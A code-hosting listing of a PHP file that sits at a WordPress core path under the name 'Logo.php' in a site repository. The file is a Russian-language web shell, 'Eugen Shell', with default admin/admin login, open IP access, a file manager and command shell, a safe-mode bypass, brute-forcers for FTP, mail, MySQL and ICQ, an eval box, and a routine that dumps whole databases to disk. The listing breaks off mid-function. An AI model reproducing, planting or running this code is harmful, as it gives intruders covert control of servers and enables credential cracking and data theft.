PageRenderTime 105ms CodeModel.GetById 28ms RepoModel.GetById 1ms app.codeStats 0ms

/wp-includes/Text/Diff/Engine/Logo.php

https://bitbucket.org/broderboy/nycendurance-wordpress
PHP | 7417 lines | 2902 code | 1809 blank | 2706 comment | 331 complexity | 160975649168e73b978af4fdad65b3d6 MD5 | raw file
Possible License(s): AGPL-1.0, GPL-3.0, Apache-2.0, GPL-2.0, LGPL-2.1
  1. <?php
  2. # Eugen's shell
  3. $log_in="admin"; //логин
  4. $password="admin"; //пароль
  5. $hosts=array("*"); //Разрешённые адреса: array("nas1-86.isp.com", "213.186.11.128");
  6. error_reporting(0);
  7. set_time_limit(0);
  8. ini_set("max_execution_time","0");
  9. ini_set("memory_limit","9999M");
  10. ini_set("output_buffering","0");
  11. set_magic_quotes_runtime(0);
  12. ignore_user_abort(1);
  13. $date=date("d.m.Y");
  14. $time_now=date("H:i");
  15. $_REQUEST = array_merge($_GET, $_POST);
  16. if (get_magic_quotes_gpc()){
  17. foreach ($_REQUEST as $key=>$value)
  18. {
  19. $_REQUEST[$key]=stripslashes($value);
  20. }
  21. }
  22. $act=$_REQUEST['act'];
  23. $name_img=$_REQUEST['name_img'];
  24. $dl=$_REQUEST['download'];
  25. $img=$_REQUEST['image'];
  26. if (!empty($_REQUEST['workingdir'])) chdir($_REQUEST['workingdir']);
  27. $hcwd="<input type=hidden name=workingdir value=\"".getcwd()."\">";
  28. $errorbox = "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><tr><td><b>Ошибка: </b>";
  29. $et = "</td></tr></table>";
  30. $v="3.01 private";
  31. $msgbox="<br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><tr><td align=\"center\">";
  32. $intro="<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\"><tr><td><b>Скрипт:</b><br>".str_repeat("---",25)."<br><b>Название:</b> Eugen Shell<br><b>Версия:</b> ".$v."<br><br><b>Автор:</b><br>".str_repeat("---",25)."<br><b>Имя:</b> Евгений<br><b>Страна:</b> Украина<br><b>Email:</b> <a href=\"mailto:majorchik@gmail.com?subject=Shell\">majorchik@gmail.com</a>".$et."</center>";
  33. $footer=$msgbox."Eugen Shell v".$v.$et;
  34. $t = "<table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"40%\">";
  35. $crack="</td><td></td></tr><form method=\"POST\" name=form><tr><td width=\"20%\">Словарь:</td><td><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\">Тип словаря:</td><td><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"20%\">Имя:</td><td><input type=text size=35 value=root name=user></td></tr><tr><td width=\"20%\">Сервер:</td><td><input type=text name=target value=localhost size=35></td></tr><tr><td width=\"20%\">&nbsp;</td><td align=right>".$hcwd."<input class=buttons type=submit value=Старт></td></tr></form></table></center>";
  36. $disablefunctions = @ini_get('disable_functions');
  37. if ($_REQUEST['sec'] == "logout") {
  38. setcookie("user_name");
  39. setcookie("pass_word");
  40. header("Location: ".$_SERVER['PHP_SELF']);
  41. exit();
  42. }
  43. $style="<style>
  44. body {
  45. scrollbar-base-color: #484848;
  46. scrollbar-arrow-color: #FFFFFF;
  47. scrollbar-track-color: #969696;
  48. font-size:16px;
  49. font-family:\"Arial Narrow\";
  50. }
  51. Table {
  52. font-size: 15px;
  53. }
  54. .buttons {
  55. font-family:Verdana;
  56. font-size:10pt;
  57. font-weight:normal;
  58. font-style:normal;
  59. color:#FFFFFF;
  60. background-color:#555555;
  61. border-style:solid;
  62. border-width:1px;
  63. border-color:#FFFFFF;
  64. }
  65. textarea {
  66. border: 0px #000000 solid;
  67. background: #EEEEEE;
  68. color: #000000;
  69. }
  70. input {
  71. background: #EEEEEE;
  72. border-width:1px;
  73. border-style:solid;
  74. border-color:black;
  75. }
  76. select {
  77. background: #EEEEEE;
  78. border: 0px #000000 none;
  79. }
  80. .itemBorder { border: 1px solid black }
  81. .itemText { text-decoration: none; color: #ffffff; font: 12px Arial, Helvetica }
  82. .crazyBorder { border: 2px outset gray }
  83. .crazyText { text-decoration: none; color: #ffffff; font: Bold 12px Arial, Helvetica }
  84. </style>";
  85. $mainmenu=$style."<script>
  86. var isDOM = (document.getElementById ? true : false); var isIE4 = ((document.all && !isDOM) ? true : false);var isNS4 = (document.layers ? true : false);function getRef(id) {if (isDOM) return document.getElementById(id);if (isIE4) return document.all[id];if (isNS4) return document.layers[id];}function getSty(id) {return (isNS4 ? getRef(id) : getRef(id).style);} var popTimer = 0;var litNow = new Array();function popOver(menuNum, itemNum) {clearTimeout(popTimer);hideAllBut(menuNum);litNow = getTree(menuNum, itemNum);changeCol(litNow, true);targetNum = menu[menuNum][itemNum].target;if (targetNum > 0) {thisX = parseInt(menu[menuNum][0].ref.left) + parseInt(menu[menuNum][itemNum].ref.left);thisY = parseInt(menu[menuNum][0].ref.top) + parseInt(menu[menuNum][itemNum].ref.top);with (menu[targetNum][0].ref) {left = parseInt(thisX + menu[targetNum][0].x);top = parseInt(thisY + menu[targetNum][0].y);visibility = 'visible';}}}function popOut(menuNum, itemNum) {
  87. if ((menuNum == 0) && !menu[menuNum][itemNum].target)hideAllBut(0)
  88. else
  89. popTimer = setTimeout('hideAllBut(0)', 500);}function getTree(menuNum, itemNum) {itemArray = new Array(menu.length);while(1) {itemArray[menuNum] = itemNum;if (menuNum == 0) return itemArray;itemNum = menu[menuNum][0].parentItem;menuNum = menu[menuNum][0].parentMenu;}}function changeCol(changeArray, isOver) {for (menuCount = 0; menuCount < changeArray.length; menuCount++) {if (changeArray[menuCount]) {newCol = isOver ? menu[menuCount][0].overCol : menu[menuCount][0].backCol;with (menu[menuCount][changeArray[menuCount]].ref) {if (isNS4) bgColor = newCol;else backgroundColor = newCol;}}}}function hideAllBut(menuNum) {var keepMenus = getTree(menuNum, 1);for (count = 0; count < menu.length; count++)if (!keepMenus[count])menu[count][0].ref.visibility = 'hidden';changeCol(litNow, false);}function Menu(isVert, popInd, x, y, width, overCol, backCol, borderClass, textClass) {this.isVert = isVert;this.popInd = popInd;this.x = x;this.y = y;this.width = width;this.overCol = overCol;this.backCol = backCol;this.borderClass = borderClass;this.textClass = textClass;this.parentMenu = null;this.parentItem = null;this.ref = null;}function Item(text, href, frame, length, spacing, target) {this.text = text;this.href = href;this.frame = frame;this.length = length;this.spacing = spacing;this.target = target;this.ref = null;}function writeMenus() {if (!isDOM && !isIE4 && !isNS4) return;for (currMenu = 0; currMenu < menu.length; currMenu++) with (menu[currMenu][0]) {var str = '', itemX = 0, itemY = 0;for (currItem = 1; currItem < menu[currMenu].length; currItem++) with (menu[currMenu][currItem]) {var itemID = 'menu' + currMenu + 'item' + currItem;var w = (isVert ? width : length);var h = (isVert ? length : width);if (isDOM || isIE4) {str += '<div id=\"' + itemID + '\" style=\"position: absolute; left: ' + itemX + '; top: ' + itemY + '; width: ' + w + '; height: ' + h + '; visibility: inherit; ';if (backCol) str += 'background: ' + backCol + '; ';str += '\" ';}if (isNS4) {str += '<layer id=\"' + itemID + '\" left=\"' + itemX + '\" top=\"' + itemY + '\" width=\"' + w + '\" height=\"' + h + '\" visibility=\"inherit\" ';if (backCol) str += 'bgcolor=\"' + backCol + '\" ';}if (borderClass) str += 'class=\"' + borderClass + '\" ';str += 'onMouseOver=\"popOver(' + currMenu + ',' + currItem + ')\" onMouseOut=\"popOut(' + currMenu + ',' + currItem + ')\">';str += '<table width=\"' + (w - 8) + '\" border=\"0\" cellspacing=\"0\" cellpadding=\"' + (!isNS4 && borderClass ? 3 : 0) + '\"><tr><td align=\"left\" height=\"' + (h - 7) + '\">' + '<a class=\"' + textClass + '\" href=\"' + href + '\"' + (frame ? ' target=\"' + frame + '\">' : '>') + text + '</a></td>';if (target > 0) {menu[target][0].parentMenu = currMenu;menu[target][0].parentItem = currItem;if (popInd) str += '<td class=\"' + textClass + '\" align=\"right\">' + popInd + '</td>';}str += '</tr></table>' + (isNS4 ? '</layer>' : '</div>');if (isVert) itemY += length + spacing;else itemX += length + spacing;}if (isDOM) {var newDiv = document.createElement('div');document.getElementsByTagName('body').item(0).appendChild(newDiv);newDiv.innerHTML = str;ref = newDiv.style;ref.position = 'absolute';ref.visibility = 'hidden';}if (isIE4) {document.body.insertAdjacentHTML('beforeEnd', '<div id=\"menu' + currMenu + 'div\" ' + 'style=\"position: absolute; visibility: hidden\">' + str + '</div>');ref = getSty('menu' + currMenu + 'div');}if (isNS4) {ref = new Layer(0);ref.document.write(str);ref.document.close();}for (currItem = 1; currItem < menu[currMenu].length; currItem++) {itemName = 'menu' + currMenu + 'item' + currItem;if (isDOM || isIE4) menu[currMenu][currItem].ref = getSty(itemName);if (isNS4) menu[currMenu][currItem].ref = ref.document[itemName];}}with(menu[0][0]) {ref.left = x;ref.top = y;ref.visibility = 'visible';}}var menu = new Array();var defOver = 'gray', defBack = 'gray';var defLength = 22;menu[0] = new Array();menu[0][0] = new Menu(false, '', 5, 0, 17, 'gray', 'gray', '', 'itemText');menu[0][1] = new Item('Назад','javascript:history.back(1)', '', 90, 10, 0);menu[0][2] = new Item('PHPINFO','".hlink("sec=phpinfo")."', '', 90, 10, 0);menu[0][3] = new Item('Инфо','"; $cwd=str_replace("\\","\\\\",getcwd()); $mainmenu.=hlink("sec=sysinfo&workingdir=$cwd"); $mainmenu.="', '', 90, 10, 0);menu[0][4] = new Item('Файлы','".hlink("sec=fm&workingdir=$cwd")."', '', 90, 10, 1);menu[0][5] = new Item('Брут','".hlink("sec=cr&workingdir=$cwd")."', '', 90, 10, 2);menu[0][6] = new Item('Утилиты','".hlink("sec=tools&workingdir=$cwd")."', '', 90, 10, 3);menu[0][7] = new Item('Прокси','".hlink("sec=px&workingdir=$cwd")."', '', 90, 10, 0);menu[0][8] = new Item('О скрипте','".hlink("sec=about&workingdir=$cwd")."', '', 90, 10, 0);menu[0][9] = new Item('Выход','".hlink("sec=logout")."', '', 90, 10, 0);menu[1] = new Array();menu[1][0] = new Menu(true, '>', 0, 22, 150, defOver, defBack, 'itemBorder', 'itemText');menu[1][1] = new Item('Редактор','".hlink("sec=edit&workingdir=$cwd")."', '', defLength, 0, 0);menu[1][2] = new Item('WebShell','".hlink("sec=webshell&workingdir=$cwd")."', '', defLength, 0, 0);menu[1][3] = new Item('AntiSafe mode','".hlink("sec=asm&workingdir=$cwd")."', '', defLength, 0, 0);menu[2] = new Array();menu[2][0] = new Menu(true, '>', 0, 22, 150, defOver, defBack, 'itemBorder', 'itemText');menu[2][1] = new Item('Hash','".hlink("sec=hc&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][2] = new Item('SMTP','".hlink("sec=smtp&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][3] = new Item('POP3','".hlink("sec=pop3&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][4] = new Item('IMAP','".hlink("sec=imap&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][5] = new Item('FTP','".hlink("sec=ftp&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][6] = new Item('SNMP','".hlink("sec=snmp&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][7] = new Item('MySQL','".hlink("sec=sql&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][8] = new Item('HTTP форма','".hlink("sec=fcr&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][9] = new Item('HTTP авторизация','".hlink("sec=auth&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][10] = new Item('Coder','".hlink("sec=code&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][11] = new Item('ICQ брут','".hlink("sec=icq&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][12] = new Item('MRA брут','".hlink("sec=mbr&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][13] = new Item('Генератор словарей','".hlink("sec=dic&workingdir=$cwd")."', '', defLength, 0, 0);menu[3] = new Array();menu[3][0] = new Menu(true, '>', 0, 22, 150, defOver, defBack, 'itemBorder', 'itemText');menu[3][1] = new Item('InetCrack','".hlink("sec=http&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][2] = new Item('Файловый флудер','".hlink("sec=fflooder&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][3] = new Item('Прокси-чекер','".hlink("sec=prc&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][4] = new Item('WhoIs','".hlink("sec=whois&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][5] = new Item('PHP Криптор','".hlink("sec=cryptphp&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][6] = new Item('Converter','".hlink("sec=calc&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][7] = new Item('Hash Calc','".hlink("sec=hash&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][8] = new Item('SQL','".hlink("sec=mysql&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][9] = new Item('Мейлер','".hlink("sec=mailer&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][10] = new Item('Evaler','".hlink("sec=eval&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][11] = new Item('Сканеры','".hlink("sec=sc&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][12] = new Item('Самоудаление','".hlink("sec=selfremove&workingdir=.")."', '', defLength, 0, 0);var popOldWidth = window.innerWidth;nsResizeHandler = new Function('if (popOldWidth != window.innerWidth) location.reload()');if (isNS4) document.captureEvents(Event.CLICK);document.onclick = clickHandle;function clickHandle(evt){if (isNS4) document.routeEvent(evt);hideAllBut(0);}function moveRoot(){with(menu[0][0].ref) left = ((parseInt(left) < 100) ? 100 : 5);}
  90. </script>";
  91. $tmp=array();
  92. foreach ($hosts as $k=>$v)
  93. $tmp[]=str_replace("\\*",".*",preg_quote($v));
  94. $ssd="!^(".implode("|",$tmp).")$!i";
  95. if (!preg_match($ssd,getenv("REMOTE_ADDR")) && !preg_match($ssd,gethostbyaddr(getenv("REMOTE_ADDR")))) {
  96. die("<html>
  97. <head>
  98. ".$style."
  99. <title>Eugen Shell</title>
  100. </head>
  101. <body text=\"#ffffff\" bgcolor=\"#181818\" link=\"#DCDCDC\" vlink=\"#DCDCDC\" alink=\"#DCDCDC\" onLoad=\"writeMenus()\" onResize=\"if (isNS4) nsResizeHandler()\">
  102. <center><br><h1>Sorry</h1><br><h1>Access denied from your IP</h1></center>
  103. </body></html>");
  104. }
  105. $loginlogin=array_merge($_COOKIE,$_POST);
  106. if ($log_in != false) {
  107. if ($loginlogin['user_name'] != $log_in || $loginlogin['pass_word'] != $password) {
  108. die("<html>
  109. <head>
  110. ".$style."
  111. <title>Eugen Shell</title>
  112. </head>
  113. <body text=\"#ffffff\" bgcolor=\"#181818\" link=\"#DCDCDC\" vlink=\"#DCDCDC\" alink=\"#DCDCDC\" onLoad=\"writeMenus()\" onResize=\"if (isNS4) nsResizeHandler()\">
  114. <center><br><h1>Authorization</h1><br>
  115. <form action=\"".$_SERVER['PHP_SELF']."\" method=post>
  116. Login:<br><input type=text name=user_name><br><br>
  117. Password:<br><input type=password name=pass_word><br><br>
  118. <input type=submit value=\"Log in\">
  119. </form>
  120. </center>
  121. </body></html>");
  122. } else {
  123. if (!$_COOKIE['user_name']) {
  124. setcookie("user_name",$log_in);
  125. setcookie("pass_word",$password);
  126. }}}
  127. function get_file_ext($file) {
  128. $file=strtolower($file);
  129. if (strstr($file,".")) {
  130. $d=strlen($file);
  131. $ext="";
  132. while($file[$d]!=".") {
  133. $ext=$file[$d].$ext; $d--; }
  134. return $ext;
  135. } else {
  136. return $file;
  137. }
  138. }
  139. if ($act == "img") {
  140. unset($img);
  141. $img=array(
  142. 'dir'=>
  143. 'R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA'.
  144. 'AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp'.
  145. '/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=',
  146. 'exe'=>
  147. 'R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7'.
  148. 'WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt'.
  149. 'xhIAOw==',
  150. 'html'=>
  151. 'R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz'.
  152. 'c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P'.
  153. 'KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk'.
  154. 'Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR'.
  155. 'ADs=',
  156. 'txt'=>
  157. 'R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ'.
  158. 'SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7'.
  159. 'UpPWG3Ig6Hq/XmRjuZwkAAA7',
  160. 'unk'=>
  161. 'R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANE'.
  162. 'SLPcSzCqQKsVQ8JhexBBJnGVYFZACowleJZrRH7lFW8eDbMXaPO1juA2uXiGwBwFKRMeiTPlByrd'.
  163. 'yUzYbJao6npVkQQAOw==',
  164. 'php'=>
  165. 'R0lGODlhEwAQALMAAAAAAP///9fX3d3f7s/S5F1qpmJpjKOqyr7D27i80K+ywEtam4OIk+T/AO7u'.
  166. '7v///yH5BAEAAA8ALAAAAAATABAAAAR08D0wK71VSna47yBHadxhnujRqKRJvC+SJIPKbgJR7DzP'.
  167. 'NECNgNFbGI/HhmZQWASezugzsFBKdtJsoEA1aLBTJzTMIDWpRqr6mFgyounswiAgDYjY/FwxGD1K'.
  168. 'BAMIg4MJCg41fiUpjAeKjY1+EwCUlZaVGhEAOw==',
  169. 'img'=>
  170. 'R0lGODlhEwAQALMAAAAAAP///6CgpHFzcVe2Osz/mbPmZkRmAPj4+Nra2szMzLKyspeXl4aGhlVV'.
  171. 'Vf///yH5BAEAAA8ALAAAAAATABAAAASA8KFJq00vozZ6Z4uSjGOTSV3DMFzTCGJ5boIQKsrqgoqp'.
  172. 'qbabYsFq+SSs1WLJFLgGx82OUWMuXVEPdGcLOmcehziVtEXFjoHiQGCnV99fR4EgFA6DBVQ3c3bq'.
  173. 'BIEBAXtRSwIsCwYGgwEJAywzOCGHOliRGjiam5M4RwlYoaJPGREAOw=='
  174. );
  175. header("Content-type: image/gif");
  176. die (base64_decode($img[$name_img]));
  177. }
  178. class ICQclient
  179. {
  180. var $socket, $server, $port, $connected;
  181. var $uin, $password, $logged;
  182. var $client = array(), $sequence, $TLV = array();
  183. var $uin_sendto, $message;
  184. function ICQclient($uin, $password)
  185. {
  186. $this->server = "login.icq.com";
  187. $this->port = 5190;
  188. $this->uin = (string)$uin;
  189. $this->password = $password;
  190. $this->client = array("name" => "qip", "country" => "ru", "language" => "ru", "major" => 1, "minor" => 0, "lesser" => 0, "build" => 1);
  191. }
  192. function connect()
  193. {
  194. $this->socket = @fsockopen($this->server, $this->port);
  195. if (!$this->socket) return false;
  196. else {
  197. $this->connected = true;
  198. return true;
  199. }
  200. }
  201. function connect_migration()
  202. {
  203. list($server, $port) = explode(":", $this->TLV[0x05]);
  204. $this->socket = @fsockopen($server, $port);
  205. }
  206. function login()
  207. {
  208. if (!$this->connected) $this->connect();
  209. if (!$this->connected) return false;
  210. $this->receive_packet();
  211. $this->sequence = rand(0x0000, 0xFFFF);
  212. $this->send_packet("login");
  213. $SNAC = $this->receive_packet();
  214. $this->parse_SNAC($SNAC);
  215. if (!(@$this->TLV[0x05] and @$this->TLV[0x06])) return false;
  216. $this->connect_migration();
  217. $this->send_packet("cookie");
  218. $this->receive_packet();
  219. $this->send_packet("ready");
  220. $this->receive_packet();
  221. $this->logged = true;
  222. return true;
  223. }
  224. function send_message($uin, $message)
  225. {
  226. if (!$this->logged) return false;
  227. $this->uin_sendto = $uin;
  228. $this->message = $message;
  229. $this->send_packet("message");
  230. $this->receive_packet();
  231. return true;
  232. }
  233. function send_packet($type)
  234. {
  235. list($channel, $SNAC) = $this->gen_SNAC($type);
  236. $FLAP = pack("CCnn", 0x2A, $channel, $this->sequence, strlen($SNAC));
  237. $packet = $FLAP.$SNAC;
  238. @fwrite($this->socket, $packet);
  239. $this->sequence++;
  240. if ($this->sequence == 0xFFFF) $this->sequence = 0x0000;
  241. }
  242. function receive_packet()
  243. {
  244. $FLAP = @fread($this->socket, 6);
  245. list(, $length) = @unpack("n", substr($FLAP, 4, 2));
  246. $SNAC = @fread($this->socket, $length);
  247. $packet = $FLAP.$SNAC;
  248. return $SNAC;
  249. }
  250. function gen_SNAC($type)
  251. {
  252. if ($type == "login") {
  253. $SNAC =
  254. pack("N", 1).
  255. $this->gen_TLV(0x01, $this->uin).
  256. $this->gen_TLV(0x02, xor_encrypt($this->password)).
  257. $this->gen_TLV(0x03, $this->client["name"]).
  258. $this->gen_TLV(0x16, 266, 2).
  259. $this->gen_TLV(0x17, $this->client["major"], 2).
  260. $this->gen_TLV(0x18, $this->client["minor"], 2).
  261. $this->gen_TLV(0x19, $this->client["lesser"], 2).
  262. $this->gen_TLV(0x1A, $this->client["build"], 2).
  263. $this->gen_TLV(0x14, 85, 4).
  264. $this->gen_TLV(0x0F, $this->client["language"]).
  265. $this->gen_TLV(0x0E, $this->client["country"]);
  266. $channel = 1;
  267. }
  268. if ($type == "cookie") {
  269. $SNAC =
  270. pack("N", 1).
  271. $this->gen_TLV(0x06, $this->TLV[0x06]);
  272. $channel = 1;
  273. }
  274. if ($type == "ready") {
  275. $SNAC =
  276. "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x02\x00\x01\x00\x03\x01\x10".
  277. "\x02\x8A\x00\x02\x00\x01\x01\x01\x02\x8A\x00\x03\x00\x01\x01\x10".
  278. "\x02\x8A\x00\x15\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10".
  279. "\x02\x8A\x00\x06\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10".
  280. "\x02\x8A\x00\x0A\x00\x01\x01\x10\x02\x8A";
  281. $channel = 2;
  282. }
  283. if ($type == "message") {
  284. $this->TLV[0x0501] = pack("C", 1);
  285. $this->TLV[0x0101] = pack("N", 0).$this->message;
  286. $this->TLV[0x02] =
  287. $this->gen_TLV(0x0501, $this->TLV[0x0501]).
  288. $this->gen_TLV(0x0101, $this->TLV[0x0101]);
  289. $SNAC =
  290. pack("nnnNdnca*", 0x04, 0x06, 0, 0, microtime(), 1, strlen($this->uin_sendto), $this->uin_sendto).
  291. $this->gen_TLV(0x02, $this->TLV[0x02]).
  292. $this->gen_TLV(0x06, "");
  293. $channel = 2;
  294. }
  295. return array($channel, $SNAC);
  296. }
  297. function parse_SNAC($SNAC)
  298. {
  299. unset($this->TLV);
  300. while (strlen($SNAC) > 0) {
  301. list(, $type, $length) = unpack("n2", substr($SNAC, 0, 4));
  302. $this->TLV[$type] = substr($SNAC, 4, $length);
  303. $SNAC = substr($SNAC, 4+$length);
  304. }
  305. }
  306. function gen_TLV($type, $value, $length=false)
  307. {
  308. switch ($length) {
  309. case 1: $format = "C"; break;
  310. case 2: $format = "n"; break;
  311. case 4: $format = "N"; break;
  312. default: $format = "a*"; break;
  313. }
  314. if ($length === false) $length = strlen($value);
  315. return pack("nn".$format, $type, $length, $value);
  316. }
  317. }
  318. function xor_encrypt($password)
  319. {
  320. $roast = "\xf3\x26\x81\xc4\x39\x86\xdb\x92\x71\xa3\xb9\xe6\x53\x7a\x95\x7c";
  321. $xored = "";
  322. for ($i=0; $i<strlen($password); $i++) $xored .= chr(ord($roast[$i]) ^ ord($password[$i]));
  323. return $xored;
  324. }
  325. function hlink($str="") {
  326. $ret = $_SERVER['PHP_SELF']."?";
  327. return $ret.$str;
  328. }
  329. function checkthisport($ip,$port,$timeout){
  330. $scan=fsockopen($ip,$port,$n,$s,$timeout);
  331. if($scan) { fclose($scan); return 1; }
  332. return 0;
  333. }
  334. if ($_REQUEST['sec']=='mysql') {
  335. function strips(&$el) {
  336. if (is_array($el)) {
  337. foreach($el as $k=>$v) {
  338. if($k!='GLOBALS') {
  339. strips($el[$k]);
  340. }
  341. }
  342. } else {
  343. $el = stripslashes($el);
  344. }
  345. }
  346. function download($file, $type = false, $name = false, $down = false) {
  347. if(!file_exists($file)) exit;
  348. if(!$name) $name = basename($file);
  349. if($down) $type = "application/force-download";
  350. else if(!$type) $type = "application/download";
  351. $disp = $down ? "attachment" : "inline";
  352. header("Content-disposition: ".$disp."; filename=".$name);
  353. header("Content-length: ".filesize($file));
  354. header("Content-type: ".$type);
  355. header("Connection: close");
  356. header("Expires: 0");
  357. set_time_limit(0);
  358. readfile($file);
  359. unlink($file);
  360. exit;
  361. }
  362. function send_header() {
  363. header("Content-type: image/gif");
  364. header("Cache-control: public");
  365. header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  366. header("Cache-control: max-age=".(60*60*24*7));
  367. header("Last-Modified: ".date("r",filemtime(__FILE__)));
  368. }
  369. $self=$HTTP_SERVER_VARS['PHP_SELF'];
  370. if(!ini_get("register_globals")){
  371. import_request_variables("GPC");
  372. }
  373. if (get_magic_quotes_gpc()) strips($GLOBALS);
  374. if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
  375. $file = "C:\\dump_".$db.".sql";
  376. $p_v=$SystemRoot."\my.ini";
  377. $os="win";
  378. } else {
  379. $file = "/tmp/dump_".$db.".sql";
  380. $p_v="/etc/passwd";
  381. }
  382. if ($_REQUEST['send']=='send_http') {
  383. if ($_REQUEST['strukt']=='d_strukt_bd' && $_REQUEST['dump']=='bd'){
  384. $host = $HTTP_SERVER_VARS["SERVER_NAME"];
  385. $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
  386. $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error<b>".mysql_error()."</b>$f_error");
  387. mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
  388. if (sizeof($tabs) == 0) {
  389. $res = mysql_query("SHOW TABLES FROM $db", $connection);
  390. if (mysql_num_rows($res) > 0) {
  391. while ($row = mysql_fetch_row($res)) {
  392. $tabs[] .= $row[0];
  393. }
  394. }
  395. }
  396. $fp = fopen($file, "w");
  397. fputs ($fp, "# Host settings:\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
  398. date("F j, Y, g:i a")."\n# ".$host." (".$ip.")"." dump db \"".$db."\"\n#____________________________________________________________\n\n");
  399. foreach($tabs as $tab) {
  400. if ($add_drop) {
  401. fputs($fp, "DROP TABLE IF EXISTS `".$tab."`;\n");
  402. }
  403. $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $connection) or die(mysql_error());
  404. $row = mysql_fetch_row($res);
  405. fputs($fp, $row[1].";\n\n");
  406. $res = mysql_query("SELECT * FROM `$tab`", $connection);
  407. if (mysql_num_rows($res) > 0) {
  408. while ($row = mysql_fetch_assoc($res)) {
  409. $keys = implode("`, `", array_keys($row));
  410. $values = array_values($row);
  411. foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  412. $values = implode("', '", $values);
  413. $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
  414. fputs($fp, $sql);
  415. }
  416. }
  417. fputs ($fp, "#---------------------------------------------------------------------------------\n\n");
  418. }
  419. fclose($fp);
  420. }
  421. if ($_REQUEST['strukt']=='d_strukt'){
  422. $host = $HTTP_SERVER_VARS["SERVER_NAME"];
  423. $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
  424. $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error<b>".mysql_error()."</b>$f_error");
  425. mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
  426. $fp = fopen($file, "w");
  427. fputs ($fp, "# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
  428. date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n");
  429. $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error<b>".mysql_error()."</b>$f_error");
  430. $row = mysql_fetch_row($res);
  431. fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n");
  432. fputs($fp, $row[1].";\n\n");
  433. $res = mysql_query("SELECT * FROM `$tbl`", $connection);
  434. if (mysql_num_rows($res) > 0) {
  435. while ($row = mysql_fetch_assoc($res)) {
  436. $keys = implode("`, `", array_keys($row));
  437. $values = array_values($row);
  438. foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  439. $values = implode("', '", $values);
  440. $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n";
  441. fputs($fp, $sql);
  442. }
  443. }
